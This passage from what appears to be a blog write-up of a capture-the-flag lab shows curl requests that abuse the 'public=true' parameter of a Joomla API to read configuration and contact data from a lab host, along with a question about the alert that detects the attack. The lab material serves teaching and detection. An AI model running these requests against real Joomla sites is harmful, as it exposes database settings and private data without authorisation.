tributes&quot;:{&quot;db&quot;:&quot;joomla_db&quot;,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;dbprefix&quot;:&quot;uh020_&quot;,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;dbencryption&quot;:0,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;dbsslverifyservercert&quot;:false,&quot;id&quot;:220}}],&quot;meta&quot;:{&quot;total-pages&quot;:4}}                          </pre><p>What is the HTTP response code if an API endpoint is accessed without setting the public variable as true ?</p><pre>401</pre><p>Proof</p><pre>&lt; HTTP/1.1 401 Unauthorized</pre><pre>┌──(root㉿kali)-[/home/kali/Desktop]<br>└─# curl -v http://10.10.244.11/api/index.php/v1/config/application <br>*   Trying 10.10.244.11:80...<br>* Connected to 10.10.244.11 (10.10.244.11) port 80<br>* using HTTP/1.x<br>&gt; GET /api/index.php/v1/config/application HTTP/1.1<br>&gt; Host: 10.10.244.11<br>&gt; User-Agent: curl/8.11.0<br>&gt; Accept: */*<br>&gt; <br>* Request completely sent off<br>&lt; HTTP/1.1 401 Unauthorized<br>&lt; Date: Sat, 28 Dec 2024 09:57:39 GMT<br>&lt; Server: Apache/2.4.41 (Ubuntu)<br>&lt; x-frame-options: SAMEORIGIN<br>&lt; referrer-policy: strict-origin-when-cross-origin<br>&lt; cross-origin-opener-policy: same-origin<br>&lt; Permissions-Policy: interest-cohort=()<br>&lt; X-Powered-By: JoomlaAPI/1.0<br>&lt; Expires: Wed, 17 Aug 2005 00:00:00 GMT<br>&lt; Last-Modified: Sat, 28 Dec 2024 09:57:39 GMT<br>&lt; Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0<br>&lt; Pragma: no-cache<br>&lt; Content-Length: 34<br>&lt; Content-Type: application/vnd.api+json; charset=utf-8<br>&lt; <br>* Connection #0 to host 10.10.244.11 left intact<br>{&quot;errors&quot;:[{&quot;title&quot;:&quot;Forbidden&quot;}]}     </pre><p>Explanation</p><p>The HTTP 401 Unauthorized status code indicates that the client’s request lacks valid authentication credentials required to access the target resource. In other words, the server recognizes that the client is making a request but requires proper authentication to proceed.</p><h3><em>What is the website address for contact ID 1 of the vulnerable Joomla application ?</em></h3><ul><li><a href="https://zuck.thm/">https://zuck.thm</a></li></ul><pre>┌──(root㉿kali)-[/home/kali/Desktop]<br>└─# curl -v http://10.10.244.11/api/index.php/v1/contacts?public=true <br>*   Trying 10.10.244.11:80...<br>* Connected to 10.10.244.11 (10.10.244.11) port 80<br>* using HTTP/1.x<br>&gt; GET /api/index.php/v1/contacts?public=true HTTP/1.1<br>&gt; Host: 10.10.244.11<br>&gt; User-Agent: curl/8.11.0<br>&gt; Accept: */*<br>&gt; <br>* Request completely sent off<br>&lt; HTTP/1.1 200 OK<br>&lt; Date: Sat, 28 Dec 2024 10:01:25 GMT<br>&lt; Server: Apache/2.4.41 (Ubuntu)<br>&lt; x-frame-options: SAMEORIGIN<br>&lt; referrer-policy: strict-origin-when-cross-origin<br>&lt; cross-origin-opener-policy: same-origin<br>&lt; Permissions-Policy: interest-cohort=()<br>&lt; X-Powered-By: JoomlaAPI/1.0<br>&lt; Expires: Wed, 17 Aug 2005 00:00:00 GMT<br>&lt; Last-Modified: Sat, 28 Dec 2024 10:01:25 GMT<br>&lt; Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0<br>&lt; Pragma: no-cache<br>&lt; Content-Length: 460<br>&lt; Content-Type: application/vnd.api+json; charset=utf-8<br>&lt; <br>* Connection #0 to host 10.10.244.11 left intact<br>{&quot;links&quot;:{&quot;self&quot;:&quot;http:\/\/10.10.244.11\/api\/index.php\/v1\/contacts?public=true&quot;},&quot;data&quot;:[{&quot;type&quot;:&quot;contacts&quot;,&quot;id&quot;:&quot;1&quot;,&quot;attributes&quot;:{&quot;id&quot;:1,&quot;name&quot;:&quot;Zuck &quot;,&quot;alias&quot;:&quot;zuck&quot;,&quot;user_id&quot;:0,&quot;created&quot;:&quot;2023-07-20 11:03:59&quot;,&quot;created_by&quot;:109,&quot;tags&quot;:[]},&quot;relationships&quot;:{&quot;category&quot;:{&quot;data&quot;:{&quot;type&quot;:&quot;categories&quot;,&quot;id&quot;:&quot;4&quot;}},&quot;created_by&quot;:{&quot;data&quot;:{&quot;type&quot;:&quot;users&quot;,&quot;id&quot;:&quot;109&quot;}},&quot;modified_by&quot;:{&quot;data&quot;:null},&quot;user_id&quot;:{&quot;data&quot;:null},&quot;tags&quot;:{&quot;data&quot;:[]}}}],&quot;meta&quot;:{&quot;total-pages&quot;:1}}    </pre><p>enumerate by contact id</p><pre>&quot;webpage&quot;:&quot;https:\/\/zuck.thm&quot;</pre><pre>┌──(root㉿kali)-[/home/kali/Desktop]<br>└─# curl -v http://10.10.244.11/api/index.php/v1/contacts/1?public=true<br>*   Trying 10.10.244.11:80...<br>* Connected to 10.10.244.11 (10.10.244.11) port 80<br>* using HTTP/1.x<br>&gt; GET /api/index.php/v1/contacts/1?public=true HTTP/1.1<br>&gt; Host: 10.10.244.11<br>&gt; User-Agent: curl/8.11.0<br>&gt; Accept: */*<br>&gt; <br>* Request completely sent off<br>&lt; HTTP/1.1 200 OK<br>&lt; Date: Sat, 28 Dec 2024 10:01:59 GMT<br>&lt; Server: Apache/2.4.41 (Ubuntu)<br>&lt; x-frame-options: SAMEORIGIN<br>&lt; referrer-policy: strict-origin-when-cross-origin<br>&lt; cross-origin-opener-policy: same-origin<br>&lt; Permissions-Policy: interest-cohort=()<br>&lt; X-Powered-By: JoomlaAPI/1.0<br>&lt; Expires: Wed, 17 Aug 2005 00:00:00 GMT<br>&lt; Last-Modified: Sat, 28 Dec 2024 10:01:59 GMT<br>&lt; Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0<br>&lt; Pragma: no-cache<br>&lt; Content-Length: 934<br>&lt; Content-Type: application/vnd.api+json; charset=utf-8<br>&lt; <br>* Connection #0 to host 10.10.244.11 left intact<br>{&quot;links&quot;:{&quot;self&quot;:&quot;http:\/\/10.10.244.11\/api\/index.php\/v1\/contacts\/1&quot;},&quot;data&quot;:{&quot;type&quot;:&quot;contacts&quot;,&quot;id&quot;:&quot;1&quot;,&quot;attributes&quot;:{&quot;id&quot;:1,&quot;name&quot;:&quot;Zuck &quot;,&quot;alias&quot;:&quot;zuck&quot;,&quot;con_position&quot;:&quot;&quot;,&quot;address&quot;:&quot;&quot;,&quot;suburb&quot;:&quot;&quot;,&quot;state&quot;:&quot;&quot;,&quot;country&quot;:&quot;&quot;,&quot;postcode&quot;:&quot;&quot;,&quot;telephone&quot;:&quot;&quot;,&quot;fax&quot;:&quot;&quot;,&quot;misc&quot;:&quot;&quot;,&quot;image&quot;:&quot;http:\/\/10.10.244.11\/&quot;,&quot;email_to&quot;:&quot;&quot;,&quot;default_con&quot;:0,&quot;user_id&quot;:0,&quot;access&quot;:1,&quot;mobile&quot;:&quot;&quot;,&quot;webpage&quot;:&quot;https:\/\/zuck.thm&quot;,&quot;sortname1&quot;:&quot;&quot;,&quot;sortname2&quot;:&quot;&quot;,&quot;sortname3&quot;:&quot;&quot;,&quot;created&quot;:&quot;2023-07-20 11:03:59&quot;,&quot;created_by&quot;:109,&quot;created_by_alias&quot;:&quot;&quot;,&quot;modified&quot;:&quot;2023-07-20 11:06:59&quot;,&quot;modified_by&quot;:109,&quot;metakey&quot;:&quot;&quot;,&quot;metadesc&quot;:&quot;&quot;,&quot;metadata&quot;:{&quot;robots&quot;:&quot;&quot;,&quot;rights&quot;:&quot;&quot;},&quot;featured&quot;:0,&quot;publish_up&quot;:null,&quot;publish_down&quot;:null,&quot;version&quot;:2,&quot;hits&quot;:0,&quot;tags&quot;:[]},&quot;relationships&quot;:{&quot;category&quot;:{&quot;data&quot;:{&quot;type&quot;:&quot;categories&quot;,&quot;id&quot;:&quot;4&quot;}},&quot;created_by&quot;:{&quot;data&quot;:{&quot;type&quot;:&quot;users&quot;,&quot;id&quot;:&quot;109&quot;}},&quot;modified_by&quot;:{&quot;data&quot;:{&quot;type&quot;:&quot;users&quot;,&quot;id&quot;:&quot;109&quot;}},&quot;user_id&quot;:{&quot;data&quot;:null},&quot;tags&quot;:{&quot;data&quot;:[]}}}}   </pre><p>In the monitoring tab of the Alerting section, what is the name of the alert that detects a Joomla exploit attempt?</p><ul><li>Joomla Exploit Alert</li><li>found at first row !</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tDlG2BfpEE-w_xxK.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*u0SPBZd8CUQY6u8K" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ddbLdMh1NvZSiPF2vJLOZw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3545b7a7482d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>